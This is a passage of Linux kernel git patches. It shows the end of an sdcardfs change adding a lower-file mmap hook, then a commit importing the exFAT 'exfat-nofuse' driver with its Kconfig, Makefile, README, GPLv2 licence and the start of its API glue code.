kzalloc(sizeof(struct sdcardfs_file_info), GFP_KERNEL); if (!SDCARDFS_F(file)) { @@ -321,6 +322,11 @@ static int sdcardfs_fasync(int fd, struct file *file, int flag) return err; } +static struct file *sdcardfs_get_lower_file(struct file *f) +{ + return sdcardfs_lower_file(f); +} + const struct file_operations sdcardfs_main_fops = { .llseek = generic_file_llseek, .read = sdcardfs_read, @@ -335,6 +341,7 @@ const struct file_operations sdcardfs_main_fops = { .release = sdcardfs_file_release, .fsync = sdcardfs_fsync, .fasync = sdcardfs_fasync, + .get_lower_file = sdcardfs_get_lower_file, }; /* trimmed directory options */ @@ -351,4 +358,5 @@ const struct file_operations sdcardfs_dir_fops = { .flush = sdcardfs_flush, .fsync = sdcardfs_fsync, .fasync = sdcardfs_fasync, + .get_lower_file = sdcardfs_get_lower_file, }; diff --git a/include/linux/fs.h b/include/linux/fs.h index db2ca0cc2668e..bda8b64a98b45 100644 --- a/include/linux/fs.h +++ b/include/linux/fs.h @@ -124,6 +124,9 @@ typedef void (dio_iodone_t)(struct kiocb *iocb, loff_t offset, /* File is opened with O_PATH; almost nothing can be done with it */ #define FMODE_PATH ((__force fmode_t)0x4000) +/* File hasn't page cache and can't be mmaped, for stackable filesystem */ +#define FMODE_NONMAPPABLE ((__force fmode_t)0x400000) + /* File was opened by fanotify and shouldn't generate fanotify events */ #define FMODE_NONOTIFY ((__force fmode_t)0x1000000) @@ -1555,6 +1558,7 @@ struct file_operations { long (*fallocate)(struct file *file, int mode, loff_t offset, loff_t len); int (*show_fdinfo)(struct seq_file *m, struct file *f); + struct file* (*get_lower_file)(struct file *f); }; struct inode_operations { diff --git a/mm/mmap.c b/mm/mmap.c index fbadaaef0564d..fd0f00ac0ecd5 100644 --- a/mm/mmap.c +++ b/mm/mmap.c @@ -1225,6 +1225,9 @@ unsigned long do_mmap_pgoff(struct file *file, unsigned long addr, *populate = 0; + while (file && (file->f_mode & FMODE_NONMAPPABLE)) + file = file->f_op->get_lower_file(file); + /* * Does the application expect PROT_READ to imply PROT_EXEC? * From b4bba837f51776ea1fcd3da83b90859e2430e006 Mon Sep 17 00:00:00 2001 From: guts94 Date: Sat, 6 Aug 2016 10:54:47 +0530 Subject: [PATCH 327/365] fs: add exfat support https://github.com/dorimanx/exfat-nofuse --- fs/Kconfig | 1 + fs/Makefile | 1 + fs/exfat/.gitignore | 7 + fs/exfat/Kconfig | 39 + fs/exfat/LICENSE | 339 +++ fs/exfat/Makefile | 55 + fs/exfat/README.md | 74 + fs/exfat/exfat_api.c | 528 ++++ fs/exfat/exfat_api.h | 206 ++ fs/exfat/exfat_bitmap.c | 63 + fs/exfat/exfat_bitmap.h | 55 + fs/exfat/exfat_blkdev.c | 197 ++ fs/exfat/exfat_blkdev.h | 73 + fs/exfat/exfat_cache.c | 780 ++++++ fs/exfat/exfat_cache.h | 85 + fs/exfat/exfat_config.h | 69 + fs/exfat/exfat_core.c | 5114 ++++++++++++++++++++++++++++++++++++++ fs/exfat/exfat_core.h | 671 +++++ fs/exfat/exfat_data.c | 77 + fs/exfat/exfat_data.h | 58 + fs/exfat/exfat_nls.c | 448 ++++ fs/exfat/exfat_nls.h | 91 + fs/exfat/exfat_oal.c | 190 ++ fs/exfat/exfat_oal.h | 74 + fs/exfat/exfat_super.c | 2617 +++++++++++++++++++ fs/exfat/exfat_super.h | 171 ++ fs/exfat/exfat_upcase.c | 405 +++ fs/exfat/exfat_version.h | 19 + 28 files changed, 12507 insertions(+) create mode 100644 fs/exfat/.gitignore create mode 100644 fs/exfat/Kconfig create mode 100644 fs/exfat/LICENSE create mode 100644 fs/exfat/Makefile create mode 100644 fs/exfat/README.md create mode 100644 fs/exfat/exfat_api.c create mode 100644 fs/exfat/exfat_api.h create mode 100644 fs/exfat/exfat_bitmap.c create mode 100644 fs/exfat/exfat_bitmap.h create mode 100644 fs/exfat/exfat_blkdev.c create mode 100644 fs/exfat/exfat_blkdev.h create mode 100644 fs/exfat/exfat_cache.c create mode 100644 fs/exfat/exfat_cache.h create mode 100644 fs/exfat/exfat_config.h create mode 100644 fs/exfat/exfat_core.c create mode 100644 fs/exfat/exfat_core.h create mode 100644 fs/exfat/exfat_data.c create mode 100644 fs/exfat/exfat_data.h create mode 100644 fs/exfat/exfat_nls.c create mode 100644 fs/exfat/exfat_nls.h create mode 100644 fs/exfat/exfat_oal.c create mode 100644 fs/exfat/exfat_oal.h create mode 100644 fs/exfat/exfat_super.c create mode 100644 fs/exfat/exfat_super.h create mode 100644 fs/exfat/exfat_upcase.c create mode 100644 fs/exfat/exfat_version.h diff --git a/fs/Kconfig b/fs/Kconfig index d9ba2b758bc19..3803689d7bfe5 100644 --- a/fs/Kconfig +++ b/fs/Kconfig @@ -94,6 +94,7 @@ if BLOCK menu "DOS/FAT/NT Filesystems" source "fs/fat/Kconfig" +source "fs/exfat/Kconfig" source "fs/ntfs/Kconfig" endmenu diff --git a/fs/Makefile b/fs/Makefile index 7b8fb13bfb04d..057112543b422 100644 --- a/fs/Makefile +++ b/fs/Makefile @@ -78,6 +78,7 @@ obj-$(CONFIG_HUGETLBFS) += hugetlbfs/ obj-$(CONFIG_CODA_FS) += coda/ obj-$(CONFIG_MINIX_FS) += minix/ obj-$(CONFIG_FAT_FS) += fat/ +obj-$(CONFIG_EXFAT_FS) += exfat/ obj-$(CONFIG_BFS_FS) += bfs/ obj-$(CONFIG_ISO9660_FS) += isofs/ obj-$(CONFIG_HFSPLUS_FS) += hfsplus/ # Before hfs to find wrapped HFS+ diff --git a/fs/exfat/.gitignore b/fs/exfat/.gitignore new file mode 100644 index 0000000000000..241505f47eeb4 --- /dev/null +++ b/fs/exfat/.gitignore @@ -0,0 +1,7 @@ +*.cmd +*.ko +*.mod.c +modules.order +Module.symvers +*.o +.tmp_versions diff --git a/fs/exfat/Kconfig b/fs/exfat/Kconfig new file mode 100644 index 0000000000000..78b32aa2ca196 --- /dev/null +++ b/fs/exfat/Kconfig @@ -0,0 +1,39 @@ +config EXFAT_FS + tristate "exFAT fs support" + select NLS + help + This adds support for the exFAT file system. + +config EXFAT_DISCARD + bool "enable discard support" + depends on EXFAT_FS + default y + +config EXFAT_DELAYED_SYNC + bool "enable delayed sync" + depends on EXFAT_FS + default n + +config EXFAT_KERNEL_DEBUG + bool "enable kernel debug features via ioctl" + depends on EXFAT_FS + default n + +config EXFAT_DEBUG_MSG + bool "print debug messages" + depends on EXFAT_FS + default n + +config EXFAT_DEFAULT_CODEPAGE + int "Default codepage for exFAT" + default 437 + depends on EXFAT_FS + help + This option should be set to the codepage of your exFAT filesystems. + +config EXFAT_DEFAULT_IOCHARSET + string "Default iocharset for exFAT" + default "utf8" + depends on EXFAT_FS + help + Set this to the default input/output character set you'd like exFAT to use. diff --git a/fs/exfat/LICENSE b/fs/exfat/LICENSE new file mode 100644 index 0000000000000..d159169d10508 --- /dev/null +++ b/fs/exfat/LICENSE @@ -0,0 +1,339 @@ + GNU GENERAL PUBLIC LICENSE + Version 2, June 1991 + + Copyright (C) 1989, 1991 Free Software Foundation, Inc., + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The licenses for most software are designed to take away your +freedom to share and change it. By contrast, the GNU General Public +License is intended to guarantee your freedom to share and change free +software--to make sure the software is free for all its users. This +General Public License applies to most of the Free Software +Foundation's software and to any other program whose authors commit to +using it. (Some other Free Software Foundation software is covered by +the GNU Lesser General Public License instead.) You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +this service if you wish), that you receive source code or can get it +if you want it, that you can change the software or use pieces of it +in new free programs; and that you know you can do these things. + + To protect your rights, we need to make restrictions that forbid +anyone to deny you these rights or to ask you to surrender the rights. +These restrictions translate to certain responsibilities for you if you +distribute copies of the software, or if you modify it. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must give the recipients all the rights that +you have. You must make sure that they, too, receive or can get the +source code. And you must show them these terms so they know their +rights. + + We protect your rights with two steps: (1) copyright the software, and +(2) offer you this license which gives you legal permission to copy, +distribute and/or modify the software. + + Also, for each author's protection and ours, we want to make certain +that everyone understands that there is no warranty for this free +software. If the software is modified by someone else and passed on, we +want its recipients to know that what they have is not the original, so +that any problems introduced by others will not reflect on the original +authors' reputations. + + Finally, any free program is threatened constantly by software +patents. We wish to avoid the danger that redistributors of a free +program will individually obtain patent licenses, in effect making the +program proprietary. To prevent this, we have made it clear that any +patent must be licensed for everyone's free use or not licensed at all. + + The precise terms and conditions for copying, distribution and +modification follow. + + GNU GENERAL PUBLIC LICENSE + TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION + + 0. This License applies to any program or other work which contains +a notice placed by the copyright holder saying it may be distributed +under the terms of this General Public License. The "Program", below, +refers to any such program or work, and a "work based on the Program" +means either the Program or any derivative work under copyright law: +that is to say, a work containing the Program or a portion of it, +either verbatim or with modifications and/or translated into another +language. (Hereinafter, translation is included without limitation in +the term "modification".) Each licensee is addressed as "you". + +Activities other than copying, distribution and modification are not +covered by this License; they are outside its scope. The act of +running the Program is not restricted, and the output from the Program +is covered only if its contents constitute a work based on the +Program (independent of having been made by running the Program). +Whether that is true depends on what the Program does. + + 1. You may copy and distribute verbatim copies of the Program's +source code as you receive it, in any medium, provided that you +conspicuously and appropriately publish on each copy an appropriate +copyright notice and disclaimer of warranty; keep intact all the +notices that refer to this License and to the absence of any warranty; +and give any other recipients of the Program a copy of this License +along with the Program. + +You may charge a fee for the physical act of transferring a copy, and +you may at your option offer warranty protection in exchange for a fee. + + 2. You may modify your copy or copies of the Program or any portion +of it, thus forming a work based on the Program, and copy and +distribute such modifications or work under the terms of Section 1 +above, provided that you also meet all of these conditions: + + a) You must cause the modified files to carry prominent notices + stating that you changed the files and the date of any change. + + b) You must cause any work that you distribute or publish, that in + whole or in part contains or is derived from the Program or any + part thereof, to be licensed as a whole at no charge to all third + parties under the terms of this License. + + c) If the modified program normally reads commands interactively + when run, you must cause it, when started running for such + interactive use in the most ordinary way, to print or display an + announcement including an appropriate copyright notice and a + notice that there is no warranty (or else, saying that you provide + a warranty) and that users may redistribute the program under + these conditions, and telling the user how to view a copy of this + License. (Exception: if the Program itself is interactive but + does not normally print such an announcement, your work based on + the Program is not required to print an announcement.) + +These requirements apply to the modified work as a whole. If +identifiable sections of that work are not derived from the Program, +and can be reasonably considered independent and separate works in +themselves, then this License, and its terms, do not apply to those +sections when you distribute them as separate works. But when you +distribute the same sections as part of a whole which is a work based +on the Program, the distribution of the whole must be on the terms of +this License, whose permissions for other licensees extend to the +entire whole, and thus to each and every part regardless of who wrote it. + +Thus, it is not the intent of this section to claim rights or contest +your rights to work written entirely by you; rather, the intent is to +exercise the right to control the distribution of derivative or +collective works based on the Program. + +In addition, mere aggregation of another work not based on the Program +with the Program (or with a work based on the Program) on a volume of +a storage or distribution medium does not bring the other work under +the scope of this License. + + 3. You may copy and distribute the Program (or a work based on it, +under Section 2) in object code or executable form under the terms of +Sections 1 and 2 above provided that you also do one of the following: + + a) Accompany it with the complete corresponding machine-readable + source code, which must be distributed under the terms of Sections + 1 and 2 above on a medium customarily used for software interchange; or, + + b) Accompany it with a written offer, valid for at least three + years, to give any third party, for a charge no more than your + cost of physically performing source distribution, a complete + machine-readable copy of the corresponding source code, to be + distributed under the terms of Sections 1 and 2 above on a medium + customarily used for software interchange; or, + + c) Accompany it with the information you received as to the offer + to distribute corresponding source code. (This alternative is + allowed only for noncommercial distribution and only if you + received the program in object code or executable form with such + an offer, in accord with Subsection b above.) + +The source code for a work means the preferred form of the work for +making modifications to it. For an executable work, complete source +code means all the source code for all modules it contains, plus any +associated interface definition files, plus the scripts used to +control compilation and installation of the executable. However, as a +special exception, the source code distributed need not include +anything that is normally distributed (in either source or binary +form) with the major components (compiler, kernel, and so on) of the +operating system on which the executable runs, unless that component +itself accompanies the executable. + +If distribution of executable or object code is made by offering +access to copy from a designated place, then offering equivalent +access to copy the source code from the same place counts as +distribution of the source code, even though third parties are not +compelled to copy the source along with the object code. + + 4. You may not copy, modify, sublicense, or distribute the Program +except as expressly provided under this License. Any attempt +otherwise to copy, modify, sublicense or distribute the Program is +void, and will automatically terminate your rights under this License. +However, parties who have received copies, or rights, from you under +this License will not have their licenses terminated so long as such +parties remain in full compliance. + + 5. You are not required to accept this License, since you have not +signed it. However, nothing else grants you permission to modify or +distribute the Program or its derivative works. These actions are +prohibited by law if you do not accept this License. Therefore, by +modifying or distributing the Program (or any work based on the +Program), you indicate your acceptance of this License to do so, and +all its terms and conditions for copying, distributing or modifying +the Program or works based on it. + + 6. Each time you redistribute the Program (or any work based on the +Program), the recipient automatically receives a license from the +original licensor to copy, distribute or modify the Program subject to +these terms and conditions. You may not impose any further +restrictions on the recipients' exercise of the rights granted herein. +You are not responsible for enforcing compliance by third parties to +this License. + + 7. If, as a consequence of a court judgment or allegation of patent +infringement or for any other reason (not limited to patent issues), +conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot +distribute so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you +may not distribute the Program at all. For example, if a patent +license would not permit royalty-free redistribution of the Program by +all those who receive copies directly or indirectly through you, then +the only way you could satisfy both it and this License would be to +refrain entirely from distribution of the Program. + +If any portion of this section is held invalid or unenforceable under +any particular circumstance, the balance of the section is intended to +apply and the section as a whole is intended to apply in other +circumstances. + +It is not the purpose of this section to induce you to infringe any +patents or other property right claims or to contest validity of any +such claims; this section has the sole purpose of protecting the +integrity of the free software distribution system, which is +implemented by public license practices. Many people have made +generous contributions to the wide range of software distributed +through that system in reliance on consistent application of that +system; it is up to the author/donor to decide if he or she is willing +to distribute software through any other system and a licensee cannot +impose that choice. + +This section is intended to make thoroughly clear what is believed to +be a consequence of the rest of this License. + + 8. If the distribution and/or use of the Program is restricted in +certain countries either by patents or by copyrighted interfaces, the +original copyright holder who places the Program under this License +may add an explicit geographical distribution limitation excluding +those countries, so that distribution is permitted only in or among +countries not thus excluded. In such case, this License incorporates +the limitation as if written in the body of this License. + + 9. The Free Software Foundation may publish revised and/or new versions +of the General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + +Each version is given a distinguishing version number. If the Program +specifies a version number of this License which applies to it and "any +later version", you have the option of following the terms and conditions +either of that version or of any later version published by the Free +Software Foundation. If the Program does not specify a version number of +this License, you may choose any version ever published by the Free Software +Foundation. + + 10. If you wish to incorporate parts of the Program into other free +programs whose distribution conditions are different, write to the author +to ask for permission. For software which is copyrighted by the Free +Software Foundation, write to the Free Software Foundation; we sometimes +make exceptions for this. Our decision will be guided by the two goals +of preserving the free status of all derivatives of our free software and +of promoting the sharing and reuse of software generally. + + NO WARRANTY + + 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY +FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN +OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES +PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED +OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF +MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS +TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE +PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, +REPAIR OR CORRECTION. + + 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR +REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, +INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING +OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED +TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY +YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER +PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE +POSSIBILITY OF SUCH DAMAGES. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +convey the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License along + with this program; if not, write to the Free Software Foundation, Inc., + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. + +Also add information on how to contact you by electronic and paper mail. + +If the program is interactive, make it output a short notice like this +when it starts in an interactive mode: + + Gnomovision version 69, Copyright (C) year name of author + Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, the commands you use may +be called something other than `show w' and `show c'; they could even be +mouse-clicks or menu items--whatever suits your program. + +You should also get your employer (if you work as a programmer) or your +school, if any, to sign a "copyright disclaimer" for the program, if +necessary. Here is a sample; alter the names: + + Yoyodyne, Inc., hereby disclaims all copyright interest in the program + `Gnomovision' (which makes passes at compilers) written by James Hacker. + + , 1 April 1989 + Ty Coon, President of Vice + +This General Public License does not permit incorporating your program into +proprietary programs. If your program is a subroutine library, you may +consider it more useful to permit linking proprietary applications with the +library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. diff --git a/fs/exfat/Makefile b/fs/exfat/Makefile new file mode 100644 index 0000000000000..fb2be9dc5a934 --- /dev/null +++ b/fs/exfat/Makefile @@ -0,0 +1,55 @@ +# +# Makefile for Linux FAT12/FAT16/FAT32(VFAT)/FAT64(ExFAT) filesystem driver. +# + +ifneq ($(KERNELRELEASE),) +# call from kernel build system + +obj-$(CONFIG_EXFAT_FS) += exfat.o + +exfat-objs := exfat_core.o exfat_super.o exfat_api.o exfat_blkdev.o exfat_cache.o \ + exfat_data.o exfat_bitmap.o exfat_nls.o exfat_oal.o exfat_upcase.o + +else +# external module build + +EXTRA_FLAGS += -I$(PWD) + +# +# KDIR is a path to a directory containing kernel source. +# It can be specified on the command line passed to make to enable the module to +# be built and installed for a kernel other than the one currently running. +# By default it is the path to the symbolic link created when +# the current kernel's modules were installed, but +# any valid path to the directory in which the target kernel's source is located +# can be provided on the command line. +# +KDIR := /lib/modules/$(shell uname -r)/build +MDIR := /lib/modules/$(shell uname -r) +PWD := $(shell pwd) +KREL := $(shell cd ${KDIR} && make -s kernelrelease) +PWD := $(shell pwd) + +export CONFIG_EXFAT_FS := m + +all: + $(MAKE) -C $(KDIR) M=$(PWD) modules + +clean: + $(MAKE) -C $(KDIR) M=$(PWD) clean + +help: + $(MAKE) -C $(KDIR) M=$(PWD) help + +install: exfat.ko + rm -f ${MDIR}/kernel/fs/exfat/exfat.ko + install -m644 -b -D exfat.ko ${MDIR}/kernel/fs/exfat/exfat.ko + depmod -aq + +uninstall: + rm -rf ${MDIR}/kernel/fs/exfat + depmod -aq + +endif + +.PHONY : all clean install uninstall diff --git a/fs/exfat/README.md b/fs/exfat/README.md new file mode 100644 index 0000000000000..3e1887ff52171 --- /dev/null +++ b/fs/exfat/README.md @@ -0,0 +1,74 @@ +exfat-nofuse +============ + +Linux non-fuse read/write kernel driver for the exFAT, FAT12, FAT16 and vfat (FAT32) file systems.
    +Originally ported from Android kernel v3.0. + +Kudos to ksv1986 for the mutex patch!
    +Thanks to JackNorris for being awesome and providing the clear_inode() patch.
    +
    +Big thanks to lqs for completing the driver!
    +Big thanks to benpicco for fixing 3.11.y compatibility! + + +Special thanks to github user AndreiLux for spreading the word about the leak!
    + + +Installing as a stand-alone module: +==================================== + + make + sudo make install + +To load the driver manually, run this as root: + + modprobe exfat + +You may also specify custom toolchains by using CROSS_COMPILE flag, in my case: +>CROSS_COMPILE=../dorimanx-SG2-I9100-Kernel/android-toolchain/bin/arm-eabi- + +Installing as a part of the kernel: +====================================== + +Let's take [linux] as the path to your kernel source dir... + + cd [linux] + cp -rvf exfat-nofuse [linux]/fs/exfat + +edit [linux]/fs/Kconfig +``` + menu "DOS/FAT/NT Filesystems" + + source "fs/fat/Kconfig" + +source "fs/exfat/Kconfig" + source "fs/ntfs/Kconfig" + endmenu +``` + + +edit [linux]/fs/Makefile +``` + obj-$(CONFIG_FAT_FS) += fat/ + +obj-$(CONFIG_EXFAT_FS) += exfat/ + obj-$(CONFIG_BFS_FS) += bfs/ +``` + + cd [linux] + make menuconfig + +Go to: +> File systems > DOS/FAT/NT +> check exfat as MODULE (M) +> (437) Default codepage for exFAT +> (utf8) Default iocharset for exFAT + +> ESC to main menu +> Save an Alternate Configuration File +> ESC ESC + +build your kernel + +Have fun. + +Free Software for the Free Minds! +================================= diff --git a/fs/exfat/exfat_api.c b/fs/exfat/exfat_api.c new file mode 100644 index 0000000000000..32b29f0dd8d94 --- /dev/null +++ b/fs/exfat/exfat_api.c @@ -0,0 +1,528 @@ +/* + * Copyright (C) 2012-2013 Samsung Electronics Co., Ltd. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version 2 + * of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + */ + +/************************************************************************/ +/* */ +/* PROJECT : exFAT & FAT12/16/32 File System */ +/* FILE : exfat_api.c */ +/* PURPOSE : exFAT API Glue Layer */ +/* */ +/*----------------------------------------------------------------------*/ +/* NOTES */ +/* */ +/*----------------------------------------------------------------------*/ +/* REVISION HISTORY (Ver 0.9) */ +/* */ +/* - 2010.11.15 [Joosun Hahn] : first writing */ +/* */ +/************************************************************************/ + +#include +#include +#include + +#include "exfat_version.h" +#include "exfat_config.h" +#include "exfat_data.h" +#include "exfat_oal.h" + +#include "exfat_nls.h" +#include "exfat_api.h" +#include "exfat_super.h" +#include "exfat_core.h" + +/*----------------------------------------------------------------------*/ +/* Constant & Macro Definitions */ +/*----------------------------------------------------------------------*/ + +/*----------------------------------------------------------------------*/ +/* Global Variable Definitions */ +/*----------------------------------------------------------------------*/ + +extern struct semaphore z_sem; + +/*----------------------------------------------------------------------*/ +/* Local Variable Definitions */ +/*----------------------------------------------------------------------*/ + +/*----------------------------------------------------------------------*/ +/* Local Function Declarations */ +/*----------------------------------------------------------------------*/ + +/*======================================================================*/ +/* Global Function Definitions */ +/* - All functions for global use have same return value format, */ +/* that is, FFS_SUCCESS on success and several FS error code on */ +/* various error condition. */ +/*======================================================================*/ + +/*----------------------------------------------------------------------*/ +/* exFAT Filesystem Init & Exit Functions */ +/*----------------------------------------------------------------------*/ + +int FsInit(void) +{ + return ffsInit(); +} + +int FsShutdown(void) +{ + return ffsShutdown(); +} + +/*----------------------------------------------------------------------*/ +/* Volume Management Functions */ +/*----------------------------------------------------------------------*/ + +/* FsMountVol : mount the file system volume */ +int FsMountVol(struct super_block *sb) +{ + int err; + + sm_P(&z_sem); + + err = buf_init(sb); + if (!err) + err = ffsMountVol(sb); + else + buf_shutdown(sb); + + sm_V(&z_sem); + + return err; +} /* end of FsMountVol */ + +/* FsUmountVol : unmount the file system volume */ +int FsUmountVol(struct super_block *sb) +{ + int err; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + + sm_P(&z_sem); + + /* acquire the lock for file system critical section */ + sm_P(&p_fs->v_sem); + + err = ffsUmountVol(sb); + buf_shutdown(sb); + + /* release the lock for file system critical section */ + sm_V(&p_fs->v_sem); + + sm_V(&z_sem); + + return err; +} /* end of FsUmountVol */ + +/* FsGetVolInfo : get the information of a file system volume */ +int FsGetVolInfo(struct super_block *sb, VOL_INFO_T *info) +{ + int err; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + + /* check the validity of pointer parameters */ + if (info == NULL) + return FFS_ERROR; + + /* acquire the lock for file system critical section */ + sm_P(&p_fs->v_sem); + + err = ffsGetVolInfo(sb, info); + + /* release the lock for file system critical section */ + sm_V(&p_fs->v_sem); + + return err; +} /* end of FsGetVolInfo */ + +/* FsSyncVol : synchronize a file system volume */ +int FsSyncVol(struct super_block *sb, int do_sync) +{ + int err; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + + /* acquire the lock for file system critical section */ + sm_P(&p_fs->v_sem); + + err = ffsSyncVol(sb, do_sync); + + /* release the lock for file system critical section */ + sm_V(&p_fs->v_sem); + + return err; +} /* end of FsSyncVol */ + + +/*----------------------------------------------------------------------*/ +/* File Operation Functions */ +/*----------------------------------------------------------------------*/ + +/* FsCreateFile : create a file */ +int FsLookupFile(struct inode *inode, char *path, FILE_ID_T *fid) +{ + int err; + struct super_block *sb = inode->i_sb; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + + /* check the validity of pointer parameters */ + if ((fid == NULL) || (path == NULL) || (*path == '\0')) + return FFS_ERROR; + + /* acquire the lock for file system critical section */ + sm_P(&p_fs->v_sem); + + err = ffsLookupFile(inode, path, fid); + + /* release the lock for file system critical section */ + sm_V(&p_fs->v_sem); + + return err; +} /* end of FsLookupFile */ + +/* FsCreateFile : create a file */ +int FsCreateFile(struct inode *inode, char *path, u8 mode, FILE_ID_T *fid) +{ + int err; + struct super_block *sb = inode->i_sb; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + + /* check the validity of pointer parameters */ + if ((fid == NULL) || (path == NULL) || (*path == '\0')) + return FFS_ERROR; + + /* acquire the lock for file system critical section */ + sm_P(&p_fs->v_sem); + + err = ffsCreateFile(inode, path, mode, fid); + + /* release the lock for file system critical section */ + sm_V(&p_fs->v_sem); + + return err; +} /* end of FsCreateFile */ + +int FsReadFile(struct inode *inode, FILE_ID_T *fid, void *buffer, u64 count, u64 *rcount) +{ + int err; + struct super_block *sb = inode->i_sb; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + + /* check the validity of the given file id */ + if (fid == NULL) + return FFS_INVALIDFID; + + /* check the validity of pointer parameters */ + if (buffer == NULL) + return FFS_ERROR; + + /* acquire the lock for file system critical section */ + sm_P(&p_fs->v_sem); + + err = ffsReadFile(inode, fid, buffer, count, rcount); + + /* release the lock for file system critical section */ + sm_V(&p_fs->v_sem); + + return err; +} /* end of FsReadFile */ + +int FsWriteFile(struct inode *inode, FILE_ID_T *fid, void *buffer, u64 count, u64 *wcount) +{ + int err; + struct super_block *sb = inode->i_sb; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + + /* check the validity of the given file id */ + if (fid == NULL) + return FFS_INVALIDFID; + + /* check the validity of pointer parameters */ + if (buffer == NULL) + return FFS_ERROR; + + /* acquire the lock for file system critical section */ + sm_P(&p_fs->v_sem); + + err = ffsWriteFile(inode, fid, buffer, count, wcount); + + /* release the lock for file system critical section */ + sm_V(&p_fs->v_sem); + + return err; +} /* end of FsWriteFile */ + +/* FsTruncateFile : resize the file length */ +int FsTruncateFile(struct inode *inode, u64 old_size, u64 new_size) +{ + int err; + struct super_block *sb = inode->i_sb; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + + /* acquire the lock for file system critical section */ + sm_P(&p_fs->v_sem); + + DPRINTK("FsTruncateFile entered (inode %p size %llu)\n", inode, new_size); + + err = ffsTruncateFile(inode, old_size, new_size); + + DPRINTK("FsTruncateFile exitted (%d)\n", err); + + /* release the lock for file system critical section */ + sm_V(&p_fs->v_sem); + + return err; +} /* end of FsTruncateFile */ + +/* FsMoveFile : move(rename) a old file into a new file */ +int FsMoveFile(struct inode *old_parent_inode, FILE_ID_T *fid, struct inode *new_parent_inode, struct dentry *new_dentry) +{ + int err; + struct super_block *sb = old_parent_inode->i_sb; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + + /* check the validity of the given file id */ + if (fid == NULL) + return FFS_INVALIDFID; + + /* acquire the lock for file system critical section */ + sm_P(&p_fs->v_sem); + + err = ffsMoveFile(old_parent_inode, fid, new_parent_inode, new_dentry); + + /* release the lock for file system critical section */ + sm_V(&p_fs->v_sem); + + return err; +} /* end of FsMoveFile */ + +/* FsRemoveFile : remove a file */ +int FsRemoveFile(struct inode *inode, FILE_ID_T *fid) +{ + int err; + struct super_block *sb = inode->i_sb; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + + /* check the validity of the given file id */ + if (fid == NULL) + return FFS_INVALIDFID; + + /* acquire the lock for file system critical section */ + sm_P(&p_fs->v_sem); + + err = ffsRemoveFile(inode, fid); + + /* release the lock for file system critical section */ + sm_V(&p_fs->v_sem); + + return err; +} /* end of 